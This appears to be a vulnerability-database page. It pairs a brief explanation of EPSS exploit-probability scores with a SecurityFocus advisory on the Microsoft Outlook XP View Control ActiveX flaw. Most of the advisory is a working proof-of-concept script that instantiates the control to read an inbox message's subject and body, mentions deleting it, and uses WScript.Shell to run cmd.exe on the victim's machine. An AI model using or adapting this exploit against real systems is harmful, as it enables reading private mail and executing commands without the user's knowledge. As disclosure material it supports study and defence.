EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/3026/info Microsoft Outlook introduces a vulnerability that may allow attackers to execute arbitrary commands on a target system. The vulnerability is due to a new ActiveX control called 'Microsoft Outlook View Control'. The flaw is that this control is marked 'safe for scripting' when it should not be. It is therefore accessible by scripts. Scripts can execute commands without user knowledge or consent. This assumes you have at least one message in Outlook XP's Inbox <br> <object id="o1" classid="clsid:0006F063-0000-0000-C000-000000000046" > <param name="folder" value="Inbox"> </object> <script> function f() { //alert(o2.object); sel=o1.object.selection; vv1=sel.Item(1); alert("Subject="+vv1.Subject); alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]"); alert("May be deleted"); //vv1.Delete(); vv2=vv1.Session.Application.CreateObject("WScript.Shell"); alert("Much more fun is possible"); vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ "); } setTimeout("f()",2000); </script>
